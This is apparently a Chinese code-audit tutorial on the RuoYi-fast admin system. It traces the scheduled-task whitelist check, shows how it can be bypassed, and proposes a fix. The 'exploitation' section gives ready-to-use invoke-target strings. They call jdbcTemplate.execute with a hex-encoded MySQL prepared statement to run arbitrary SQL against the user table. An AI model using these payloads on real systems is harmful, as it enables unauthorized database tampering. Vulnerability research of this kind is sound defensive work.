若依后台定时任务执行SQL语句代码审计

注:文章中涉及的跟踪XXX,指IDEA中按住ctrl(command)+鼠标左键点击某方法(类、变量、成员、实例)。定位XXX,指通过ctrl+shift+F(ctrl+command+F)的全局搜索,搜索关键词后跳转。

前言:通过之前的文章,相信我们已经大致掌握了基于springboot项目的一些基本知识,本篇文章将通过ruoyi这个大名鼎鼎的开源项目,一步一步跟踪分析,发现若依后台定时任务执行sql语句的漏洞,相信就算是没有任何代码审计基础的小白,也能通过这篇文章了解代码审计的基本流程和跟踪分析的方法。

0x00 环境搭建

1、若依版本

若依存在多个版本,具体可参见官网的若依生态系统,本次审计用到的是RuoYi-fast,是若依的springboot单应用版本

2、部署、构建

gitlabclone至本地后,导入IDEA中,项目的大致结构如下:
3b0de93d2b103328那么首先可以看一下pom.xml,这个文件是项目的一些依赖配置,通过这个文件我们可以知道项目用了哪些组件,并根据组件版本判断是否存在历史漏洞,当然也可以用MurphySec插件去进行漏洞扫描,如:
1cdf83f815103402对于若依这个项目来说,关键内容在ruoyi-admin目录中,可以看到启动入口和项目配置文件都在这个目录中:
1c321d0614103426

首先修改application-druid.yml文件,将数据库的用户名和密码修改成本地数据库对应的用户名和密码:
d359abac6b103456

然后进入myslq数据库(版本最好>=5.6),手动创建ry数据库(create database ry;use ry;),并导入sql目录下的两个sql文件(source ***.sql):
f6c292673c103517

接下来修改application.yml这个文件,主要是修改运行端口
d577bb2c6b103610

之后就可以启动若依项目了,进入到src/main/java/com/ruoyi/RuoYiApplication.java,直接运行:
c29c46950f103536
看到如下信息就算是启动成功了,如果报错一般是maven还没有下载完项目需要的依赖组件,等一段时间下载完毕即可
ea7c8fa8fb103632

0x01 Quartz组件

RuoYi-fast使用Quartz作为定时任务组件,但实际上漏洞不是通过Quartz组件触发的,而是ruoyi本身的逻辑问题导致的,所以这里就简单介绍下Quartz。在springboot2.0后官方添加了Quartz框架的依赖,这里创建一个简单demo演示一下,首先创建一个空白springboot项目,在pom.xml中只需要添加以下依赖:

<!--引入quartz定时框架-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-quartz</artifactId>
</dependency>

之后创建一个任务类,继承QuzrtzJobBean,参考如下:

package com.bigbigban;

import org.quartz.JobExecutionContext;
import org.springframework.scheduling.quartz.QuartzJobBean;

import java.util.Date;

public class testTask extends QuartzJobBean {
@Override
protected void executeInternal(JobExecutionContext jobExecutionContext) {
System.out.println("简单的定时任务执行时间:"+ new Date());
}
}

然后创建一个配置类,将创建好的任务添加到定时调度内,代码参考如下:

package com.bigbigban;

import org.quartz.*;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class QuartzConfig {
@Bean
public JobDetail uploadTaskDetail() {
return JobBuilder.newJob(testTask.class).withIdentity("MyTask").storeDurably().build();
}
@Bean
public Trigger uploadTaskTrigger() {
//每隔5秒执行一次
CronScheduleBuilder scheduleBuilder = CronScheduleBuilder.cronSchedule("*/5 * * * * ?");
// 返回任务触发器
return TriggerBuilder.newTrigger().forJob(uploadTaskDetail())
.withIdentity("MyTask")
.withSchedule(scheduleBuilder)
.build();
}
}

demo的目录结构如下:
028b3fc640103749

运行项目,发现定时任务按照我们设定的corn表达式在执行:
af82950051103813

0x02 定时任务创建分析

既然知道若依的定时任务处存在漏洞,那么当然要先找到定时任务的处理逻辑代码位置,全局搜索一下定时任务:
458a687db4103834

定位到SysJobLogController.java:
2ac1dcafdc103910

根据上面对Quartz组件的分析,实际上定时任务的创建主要是分两个内容:任务及调度,先查看调度逻辑:
9e7b2d220b103931

根据注释来看代码逻辑非常直观,addSave方法需要传入一个job对象,第一步通过CronUtils.isValid方法对job对象的corn表达式job.getCronExpression()进行合法性校验:
b2c022e12d104002

然后通过job对象调用getInvokeTarget()方法获取调用目标字符串,判断是否存在rmi、ldap、http等内容,如果存在就返回error:
8360589efd104044

最后是黑名单判断及白名单判断,首先我们看一下黑名单:跟踪Constants.JOB_ERROR_STR变量:
f897ad1e26104108

如果通过了黑名单判断,则进入白名单判断(我不理解,为什么不直接用白名单),漏洞实际上也是在这里出现的,跟踪一下ScheduleUtils.whiteList方法:
6af43d4be8104129

简单讲一下大致的代码逻辑:
1、获取调用字符串第一个”(“前的所有内容,假设调用目标字符串为com.ruoyi.quartz.task.RyTask.ryParams(‘ry’),那么packageName的取值就是com.ruoyi.quartz.task.RyTask.ryParams
556adf56cd104155

2、统计packageName变量中”.”出现的次数
fa9df5c1f3104214

3、如果大于1,就进入白名单判断,如果invokeTarget中包含”com.ruoyi”,就返回true,否则无法通过白名单校验
b78ae2df0a104235

到这里就能够发现白名单的逻辑有问题:1、如果只有一个”.”或没有”.”,就不会进入白名单判断2、如果调用方法中包含”com.ruoyi”(比如xxx.xxx.run("com.ruoyi".replace("*","")+"cal")),也能够通过判断,接下来就需要对定时逻辑运行进行分析

0x02 定时任务运行分析

首先定位到运行逻辑,QuartzJobExecution.java,可以看到继承了AbstractQuartzJob,并重写了doExecute方法
da712c6a59104258

跟踪至AbstractQuartzJob,这个类继承了job接口,重写了execute方法为定时任务执行的具体逻辑,并定义了before和after两个方法
4fb69b0d1c104314

首先看一下before方法,只是简单地记录一下执行时间:
6b06c09985104335

然后是after方法,将执行结果和执行时间插入数据库:
f352d54bbf104402

尝试跟进一下addJobLog()方法:
4a8a84bc99104419

点击左边的绿色圆点去查看具体实现:
e5a98277c8104439

跟踪insertJobLog方法:
14419af4c3104459

点击左边的绿色小箭头,进入到sql语句执行的mapper文件:
d5b4b175dd104516

很可惜,入参全部用的是#{},上一篇文章中提到过,如果是用${}+like查询,就很大概率存在注入,但是#{}就是预编译,所以after也没有问题
ca27bf75ad104615

最后来到了execute方法,具体的实现流程交给了doExecute方法:
e4731f5a4d104545

跟踪一下doExecute:
d2497db197104627

点击左边的绿色小圆点继续跟踪子类重载的doExecute,这里有两个实现,区别不大,我们选择QuartzJobExecution:
1a15828092104643

找到了doExecute的实现,跟踪invokeMethod方法:
d80d5ef86c104700

invokeMethod方法比较有意思,因为创建定时任务的时候可以选择是bean调用还是类调用,所以在这里去进行判断:
10435ec24c104722

我们先跟踪一下getBeanName方法:
6b41fc6f63104731

再跟踪一下getMethodName方法:
fab1d1f4b3104750

最后跟踪一下getMethodParams方法,方法分析已经放在注释中了,可以仔细看一下:
9f4b3dbadf104814

回到invokeMethod方法,定义了三个变量后,紧跟着就是一个if判断,判断逻辑非常简单,就是通过字符串中的”.”进行判断,如果”.”大于1的,就是类调用,否则就是bean调用
f33539428f104847

接下来终于要进入到真正执行定时任务的逻辑了,但是还是先回到上面的if判断,可以看到不管是类调用还是bean调用,最终都是调用这个方法,若不是全限定类名,则从spring容器中取出对象(bean调用),若是全限定类名,则利用反射调用无参构造方法创建bean对象,跟踪invokeMethod方法:
f4b5aa84da104905

至此,定时任务的创建和执行流程就已经分析完毕,两个分析结合起来看的话,就不难发现漏洞产生的原理。

0x03 漏洞原理

首先不妨根据定时任务的创建和执行画一个流程图:
b9e85c5c56104928

通过定时任务创建的分析,有如下办法可以绕过白名单检测:
1、调用字符串中的”.”小于等于1,通过bean调用
2、已经上传java文件到目录中,并且包含恶意class,可以通过权限定类名调用
3、字符串中包含”com.ruoyi”,比如xxx.xxx.run("com.ruoyi".replace("*","")+"cal")
所以不管是bean调用还是class调用,都是存在绕过的,但由于ruoyi没有对bean调用做白名单校验,因此就需要寻找符合如下条件的bean对象:
1、对象存在于spring容器中,是已经注册的bean对象
2、方法至少不能是private修饰的方法
3、参数类型只能为String,Boolean,Long,Double,Integer类型
这里就借助spring actuator进行筛选,actuator会给我们提供一个bean接口,访问该接口就能获取所有已注册的bean对象,再通过搜索类,找到符合要求的方法
在IDEA的Actuator中可以直接查看bean对象:
61dd03150d104947

再通过右键->导航到bean类,即可查看类方法,在其中寻找非private修饰的方法
e15204ff2b105009

最终找到了JdbcTemplate类下的execute方法,通过此方法可以执行sql语句
5037b3f4af105031

execute方法可以执行任意sql语句。不过在截取方法参数值时,是从目标字符串中提取第一个(和第一个)中间的字符串,若目标字符串为:jdbcTemplate.execute("insert into sys_user_role values(7,7);"),则方法参数值为"insert into sys_user_role values(7,7,但可以使用mysql预处理和hex编码使参数值内容中不出现

0x04 漏洞利用

首先进行hex编码:
a48e736c66105050
设置变量,值为hex编码(不要忘了0x和;):
511525517a105102

定义预处理语句:
e57b13dced105123

执行预处理语句:
2189b8a61c105137

成功将用户名称修改为zhangsan:
![[pictures/Pasted image 20220520105144.png]]
接下来通过定时任务修改回来:
分别创建三个定时任务,调用目标字符串分别如下:

jdbcTemplate.execute("set @t1 = 0x757064617465207379735F757365722073657420757365725F6E616D653D22E88BA5E4BE9D22207768657265206C6F67696E5F6E616D653D22727922;")

jdbcTemplate.execute("prepare t1 from @t1;")

jdbcTemplate.execute("execute t1;")

分别将三个定时任务执行一次后,成功执行sql语句将用户名修改回来:
63954beabb105212

0x05 漏洞修复:

查看一下更新记录:
30c0eb4916105227

修复后对bean调用和class调用都进行了白名单检测,但是仍然可以通过上面提到的包含”ruoyi.com”去绕过,虽然没找到利用链:
775cc30abe105246

所以真正修复可能还得修改一下:

return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR);

修改为:

return StringUtils.containsAnyIgnoreCase(packageName, Constants.JOB_WHITELIST_STR);
© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 共2条

请登录后发表评论